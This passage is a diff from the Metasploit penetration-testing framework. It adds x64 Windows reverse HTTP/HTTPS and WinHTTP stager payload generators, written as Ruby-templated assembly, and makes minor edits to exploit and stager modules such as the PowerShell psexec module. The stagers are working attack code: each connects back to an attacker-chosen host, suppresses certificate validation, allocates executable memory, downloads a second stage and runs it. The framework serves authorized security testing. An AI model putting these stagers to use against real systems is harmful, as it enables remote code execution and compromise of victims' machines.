mov rax, rsi ; Restore hConnection in rax
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
call httpopenrequest
|
||||
db "#{opts[:url]}",0x0
|
||||
httpopenrequest:
|
||||
mov rcx, rax ; hConnect
|
||||
push rbx
|
||||
pop rdx ; lpszVerb (NULL=GET)
|
||||
pop r8 ; lpszObjectName (URI)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
push rbx ; dwContext (0)
|
||||
mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags
|
||||
push rax
|
||||
push rbx ; lplpszAcceptType (NULL)
|
||||
push rbx ; lpszReferer (NULL)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
|
||||
call rbp
|
||||
|
||||
prepare:
|
||||
mov rsi, rax
|
||||
^
|
||||
|
||||
if retry_count > 1
|
||||
asm << %Q^
|
||||
push #{retry_count}
|
||||
pop rdi
|
||||
|
||||
retryrequest:
|
||||
^
|
||||
end
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
internetsetoption:
|
||||
mov rcx, rsi ; hInternet (request handle)
|
||||
push 31
|
||||
pop rdx ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
|
||||
push rdx ; stack alignment
|
||||
push #{"0x%.8x" % set_option_flags} ; flags
|
||||
mov r8, rsp ; lpBuffer (pointer to flags)
|
||||
push 4
|
||||
pop r9 ; dwBufferLength (4 = size of flags)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
httpsendrequest:
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
push rbx
|
||||
pop rdx ; lpszHeaders (NULL)
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
push rbx ; stack alignment
|
||||
push rbx ; dwOptionalLength (0)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
|
||||
call rbp
|
||||
test eax, eax
|
||||
jnz allocate_memory
|
||||
^
|
||||
|
||||
if retry_count > 1
|
||||
asm << %Q^
|
||||
try_it_again:
|
||||
dec rdi
|
||||
jz failure
|
||||
jmp retryrequest
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
jmp failure
|
||||
^
|
||||
end
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
; hard-coded to ExitProcess(whatever) for size
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
|
||||
call rbp ; ExitProcess(whatever)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push rbx
|
||||
pop rcx ; lpAddress (NULL)
|
||||
push 0x40
|
||||
pop rdx
|
||||
mov r9, rdx ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
|
||||
shl edx, 16 ; dwSize
|
||||
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp
|
||||
|
||||
download_prep:
|
||||
xchg rax, rbx ; store the allocated base in rbx
|
||||
push rbx ; store a copy for later
|
||||
push rbx ; temp storage for byte count
|
||||
mov rdi, rsp ; rdi is the &bytesRead
|
||||
|
||||
download_more:
|
||||
mov rcx, rsi ; hFile (request handle)
|
||||
mov rdx, rbx ; lpBuffer (pointer to mem)
|
||||
mov r8, 8192 ; dwNumberOfBytesToRead (8k)
|
||||
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
|
||||
call rbp
|
||||
add rsp, 32 ; clean up reserved space
|
||||
|
||||
test eax, eax ; did the download fail?
|
||||
jz failure
|
||||
|
||||
mov ax, word ptr [rdi] ; extract the read byte count
|
||||
add rbx, rax ; buffer += bytes read
|
||||
|
||||
test eax, eax ; are we done?
|
||||
jnz download_more ; keep going
|
||||
pop rax ; clear up reserved space
|
||||
pop rax ; realign again
|
||||
|
||||
execute_stage:
|
||||
ret ; return to the stored stage address
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86_64 that speak HTTPS
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseHttps_x64
|
||||
|
||||
include Msf::Payload::Windows::ReverseHttp_x64
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
super(ssl: true)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,453 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/reverse_http'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseWinHttp_x64
|
||||
|
||||
include Msf::Payload::Windows::ReverseHttp_x64
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
end
|
||||
|
||||
generate_reverse_winhttp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_winhttp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, ~0xf ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp ; rbp now contains the block API pointer
|
||||
#{asm_reverse_winhttp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length (wchars)
|
||||
space += 512 * 2
|
||||
|
||||
# proxy (wchars)
|
||||
space += 128 * 2
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated wchar byte array
|
||||
#
|
||||
def asm_generate_wchar_array(str)
|
||||
(str.to_s + "\x00").
|
||||
unpack("C*").
|
||||
pack("v*").
|
||||
unpack("C*").
|
||||
map{ |c| "0x%.2x" % c }.
|
||||
join(",")
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_winhttp(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
verify_ssl = nil
|
||||
encoded_cert_hash = nil
|
||||
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||
|
||||
if opts[:ssl] && opts[:verify_cert_hash]
|
||||
verify_ssl = true
|
||||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||
end
|
||||
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
if proxy_enabled
|
||||
if opts[:proxy_type].to_s.downcase == "socks"
|
||||
proxy_info << "socks="
|
||||
else
|
||||
proxy_info << "http://"
|
||||
end
|
||||
|
||||
proxy_info << opts[:proxy_host].to_s
|
||||
if opts[:proxy_port].to_i > 0
|
||||
proxy_info << ":#{opts[:proxy_port]}"
|
||||
end
|
||||
|
||||
proxy_info = asm_generate_wchar_array(proxy_info)
|
||||
end
|
||||
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||
|
||||
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
secure_flags = (
|
||||
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
|
||||
if opts[:ssl]
|
||||
http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
xor rbx, rbx
|
||||
load_winhttp:
|
||||
push rbx ; stack alignment
|
||||
mov r14, 'winhttp'
|
||||
push r14 ; Push 'winhttp',0 onto the stack
|
||||
mov rcx, rsp ; lpFileName (stackpointer)
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; LoadLibraryA
|
||||
call rbp
|
||||
^
|
||||
|
||||
if verify_ssl
|
||||
asm << %Q^
|
||||
load_crypt32:
|
||||
push rbx ; stack alignment
|
||||
mov r14, 'crypt32'
|
||||
push r14 ; Push 'crypt32',0 onto the stack
|
||||
mov rcx, rsp ; lpFileName (stackpointer)
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; LoadLibraryA
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
winhttpopen:
|
||||
push rbx ; stack alignment
|
||||
push rbx ; NULL pointer
|
||||
mov rcx, rsp ; pwszAgent ("")
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
push 3
|
||||
pop rdx ; dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
|
||||
call load_proxy_name
|
||||
db #{proxy_info} ; proxy information
|
||||
load_proxy_name:
|
||||
pop r8 ; pwszProxyName (stack pointer)
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push rbx
|
||||
pop rdx ; dwAccessType (0=WINHTTP_ACCESS_TYPE_DEFAULT_PROXY)
|
||||
xor r8, r8 ; pwszProxyName (NULL)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
xor r9, r9 ; pwszProxyBypass (NULL)
|
||||
push rbx ; stack alignment
|
||||
push rbx ; dwFlags (0)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}; WinHttpOpen
|
||||
call rbp
|
||||
|
||||
call load_server_host
|
||||
db #{encoded_host}
|
||||
load_server_host:
|
||||
pop rdx ; pwszServerName
|
||||
mov rcx, rax ; hSession
|
||||
mov r8, #{opts[:port]} ; nServerPort
|
||||
xor r9, r9 ; dwReserved
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} ; WinHttpConnect
|
||||
call rbp
|
||||
|
||||
call winhttpopenrequest
|
||||
db #{encoded_url}
|
||||
winhttpopenrequest:
|
||||
mov rcx, rax ; hConnect
|
||||
push rbx
|
||||
pop rdx ; pwszVerb (NULL=GET)
|
||||
pop r8 ; pwszObjectName (URI)
|
||||
xor r9, r9 ; pwszVersion (NULL)
|
||||
push rbx ; stack alignment
|
||||
mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags
|
||||
push rax
|
||||
push rbx ; lppwszAcceptType (NULL)
|
||||
push rbx ; pwszReferer (NULL)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')} ; WinHttpOpenRequest
|
||||
call rbp
|
||||
|
||||
prepare:
|
||||
mov rsi, rax ; Store hConnection in rsi
|
||||
^
|
||||
|
||||
if proxy_enabled && proxy_user
|
||||
asm << %Q^
|
||||
call load_proxy_user ; puts proxy_user pointer on stack
|
||||
db #{proxy_user}
|
||||
load_proxy_user:
|
||||
pop r8 ; lpBuffer (stack pointer)
|
||||
mov rcx, rsi ; hConnection (connection handle)
|
||||
mov rdx, 0x1002 ; (0x1002=WINHTTP_OPTION_PROXY_USERNAME)
|
||||
push #{proxy_user.length} ; dwBufferLength (proxy_user length)
|
||||
pop r9
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
if proxy_enabled && proxy_pass
|
||||
asm << %Q^
|
||||
call load_proxy_pass ; puts proxy_pass pointer on stack
|
||||
db #{proxy_pass}
|
||||
load_proxy_pass:
|
||||
pop r8 ; lpBuffer (stack pointer)
|
||||
mov rcx, rsi ; hConnection (connection handle)
|
||||
mov rdx, 0x1003 ; (0x1003=WINHTTP_OPTION_PROXY_PASSWORD)
|
||||
push #{proxy_pass.length} ; dwBufferLength (proxy_pass length)
|
||||
pop r9
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
if retry_count > 1
|
||||
asm << %Q^
|
||||
push #{retry_count}
|
||||
pop rdi
|
||||
|
||||
retryrequest:
|
||||
^
|
||||
end
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
winhttpsetoption_ssl:
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
push 31
|
||||
pop rdx ; dwOption (31=WINHTTP_OPTION_SECURITY_FLAGS)
|
||||
push rdx ; stack alignment
|
||||
push #{"0x%.8x" % secure_flags} ; flags
|
||||
mov r8, rsp ; lpBuffer (pointer to flags)
|
||||
push 4
|
||||
pop r9 ; dwBufferLength (4 = size of flags)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
winhttpsendrequest:
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
push rbx
|
||||
pop rdx ; lpszHeaders (NULL)
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
push rbx ; stack alignment
|
||||
push rbx ; dwContext (0)
|
||||
push rbx ; dwTotalLength (0)
|
||||
push rbx ; dwOptionalLength (0)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} ; WinHttpSendRequest
|
||||
call rbp
|
||||
test eax, eax
|
||||
jnz handle_response
|
||||
^
|
||||
|
||||
if retry_count > 1
|
||||
asm << %Q^
|
||||
try_it_again:
|
||||
dec rdi
|
||||
jz failure
|
||||
jmp retryrequest
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
jmp failure
|
||||
^
|
||||
end
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
; hard-coded to ExitProcess(whatever) for size
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
|
||||
call rbp ; ExitProcess(whatever)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
handle_response:
|
||||
mov rcx, rsi ; hRequest
|
||||
push rbx
|
||||
pop rdx ; lpReserved (NULL)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')} ; WinHttpReceiveResponse
|
||||
call rbp
|
||||
test eax, eax ; make sure the request succeeds
|
||||
jz failure
|
||||
^
|
||||
|
||||
if verify_ssl
|
||||
asm << %Q^
|
||||
ssl_cert_get_context:
|
||||
mov rcx, rsi ; Request handle (hInternet)
|
||||
push 78 ; WINHTTP_OPTION_SERVER_CERT_CONTEXT
|
||||
pop rdx ; (dwOption)
|
||||
; Thanks to things that are on the stack from previous calls, we don't need to
|
||||
; worry about adding something to the stack to have space for the cert pointer,
|
||||
; so we won't worry about doing it, it'll save us bytes!
|
||||
mov r8, rsp ; Stack pointer (lpBuffer)
|
||||
mov r14, r8 ; Back the stack pointer up for later use
|
||||
push rbx ; 0 for alignment
|
||||
push 8 ; One whole pointer
|
||||
mov r9, rsp ; Stack pointer (lpdwBufferLength)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}
|
||||
call rbp
|
||||
test eax, eax ; use eax instead of rax, saves a byte
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
ssl_cert_get_server_hash:
|
||||
mov rcx, [r14] ; Cert context pointer (pCertContext)
|
||||
push 24 ; sha1 length, rounded to multiple of 8
|
||||
mov r9, rsp ; Address of length (pcbData)
|
||||
mov r15, rsp ; Backup address of length
|
||||
sub rsp, [r9] ; Allocate 20 bytes for the hash output
|
||||
mov r8, rsp ; 20 byte buffer (pvData)
|
||||
mov r14, r8 ; Back the stack pointer up for later use
|
||||
push 3
|
||||
pop rdx ; CERT_SHA1_HASH_PROP_ID (dwPropId)
|
||||
mov r10, #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}
|
||||
call rbp
|
||||
test eax, eax ; use eax instead of rax, saves a byte
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
ssl_cert_start_verify:
|
||||
call ssl_cert_compare_hashes
|
||||
db #{encoded_cert_hash}
|
||||
ssl_cert_compare_hashes:
|
||||
pop rax ; get the expected hash
|
||||
xchg rax, rsi ; swap hash and handle for now
|
||||
mov rdi, r14 ; pointer to the retrieved hash
|
||||
mov rcx, [r15] ; number of bytes to compare
|
||||
repe cmpsb ; do the hash comparison
|
||||
jnz failure ; Bail out if the result isn't zero
|
||||
xchg rax, rsi ; swap hash and handle back!
|
||||
|
||||
; Our certificate hash was valid, hurray!
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push rbx
|
||||
pop rcx ; lpAddress (NULL)
|
||||
push 0x40
|
||||
pop rdx
|
||||
mov r9, rdx ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
|
||||
shl edx, 16 ; dwSize
|
||||
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; VirtualAlloc
|
||||
call rbp
|
||||
|
||||
download_prep:
|
||||
xchg rax, rbx ; store the allocated base in rbx
|
||||
push rbx ; store a copy for later
|
||||
push rbx ; temp storage for byte count
|
||||
mov rdi, rsp ; rdi is the &bytesRead
|
||||
|
||||
download_more:
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
mov rdx, rbx ; lpBuffer (pointer to mem)
|
||||
mov r8, 8192 ; dwNumberOfBytesToRead (8k)
|
||||
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} ; WinHttpReadData
|
||||
call rbp
|
||||
add rsp, 32 ; clean up reserved space
|
||||
|
||||
test eax, eax ; did the download fail?
|
||||
jz failure
|
||||
|
||||
mov ax, word ptr [rdi] ; extract the read byte count
|
||||
add rbx, rax ; buffer += bytes read
|
||||
|
||||
test eax, eax ; are we done?
|
||||
jnz download_more ; keep going
|
||||
pop rax ; clear up reserved space
|
||||
pop rax ; realign again
|
||||
|
||||
execute_stage:
|
||||
ret ; return to the stored stage address
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/reverse_winhttp'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86_64 that speak HTTPS using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseWinHttps_x64
|
||||
|
||||
include Msf::Payload::Windows::ReverseWinHttp_x64
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Register reverse_winhttps specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
||||
super(
|
||||
ssl: true,
|
||||
verify_cert_hash: verify_cert_hash
|
||||
)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
space = super
|
||||
|
||||
# SSL support adds 20 bytes
|
||||
space += 20
|
||||
|
||||
# SSL verification adds 120 bytes
|
||||
if datastore['StagerVerifySSLCert']
|
||||
space += 120
|
||||
end
|
||||
|
||||
space
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -17,7 +17,7 @@ class Rex::Payloads::Meterpreter::Config
|
|||
|
||||
def initialize(opts={})
|
||||
@opts = opts
|
||||
if opts[:ascii_str] && opts[:ascii_str] == true
|
||||
if opts[:ascii_str] == true
|
||||
@to_str = self.method(:to_ascii)
|
||||
else
|
||||
@to_str = self.method(:to_wchar_t)
|
||||
|
|
|
@ -1675,6 +1675,19 @@ module Text
|
|||
mail_address << Rex::Text.rand_hostname
|
||||
end
|
||||
|
||||
#
|
||||
# Calculate the block API hash for the given module/function
|
||||
#
|
||||
# @param mod [String] The name of the module containing the target function.
|
||||
# @param fun [String] The name of the function.
|
||||
#
|
||||
# @return [String] The hash of the mod/fun pair in string format
|
||||
def self.block_api_hash(mod, fun)
|
||||
unicode_mod = (mod.upcase + "\x00").unpack('C*').pack('v*')
|
||||
mod_hash = self.ror13_hash(unicode_mod)
|
||||
fun_hash = self.ror13_hash(fun + "\x00")
|
||||
"0x#{(mod_hash + fun_hash & 0xFFFFFFFF).to_s(16)}"
|
||||
end
|
||||
|
||||
#
|
||||
# Calculate the ROR13 hash of a given string
|
||||
|
|
|
@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'Space' => 3072,
|
||||
'DisableNops' => true,
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
|
|
|
@ -17,8 +17,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
|
||||
'Description' => %q{
|
||||
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
|
||||
'Description' => %q{
|
||||
This module uses a valid administrator username and password to execute a powershell
|
||||
payload using a similar technique to the "psexec" utility provided by SysInternals. The
|
||||
payload is encoded in base64 and executed from the commandline using the -encodedcommand
|
||||
|
@ -31,25 +31,30 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
the window entirely.
|
||||
},
|
||||
|
||||
'Author' => [
|
||||
'Author' => [
|
||||
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
|
||||
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'EXITFUNC' => 'thread'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 3072,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 01 1999',
|
||||
'References' => [
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 01 1999',
|
||||
'References' => [
|
||||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
||||
[ 'OSVDB', '3106'],
|
||||
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
|
|
|
@ -16,29 +16,22 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse Hop HTTP Stager',
|
||||
'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload
|
||||
'Name' => 'Reverse Hop HTTP Stager',
|
||||
'Description' => %q{
|
||||
Tunnel communication over an HTTP hop point. Note that you must first upload
|
||||
data/hop/hop.php to the PHP server you wish to use as a hop.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'scriptjunkie <scriptjunkie[at]scriptjunkie.us>',
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHopHttp,
|
||||
'Convention' => 'sockedi http',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHopHttp,
|
||||
'Convention' => 'sockedi http',
|
||||
'DefaultOptions' => { 'WfsDelay' => 30 },
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# None, they get embedded in the shellcode
|
||||
}
|
||||
}
|
||||
))
|
||||
'Stager' => { 'Offsets' => { } }))
|
||||
|
||||
deregister_options('LHOST', 'LPORT')
|
||||
|
||||
|
|
|
@ -3,12 +3,11 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 312
|
||||
|
||||
|
@ -18,13 +17,14 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager',
|
||||
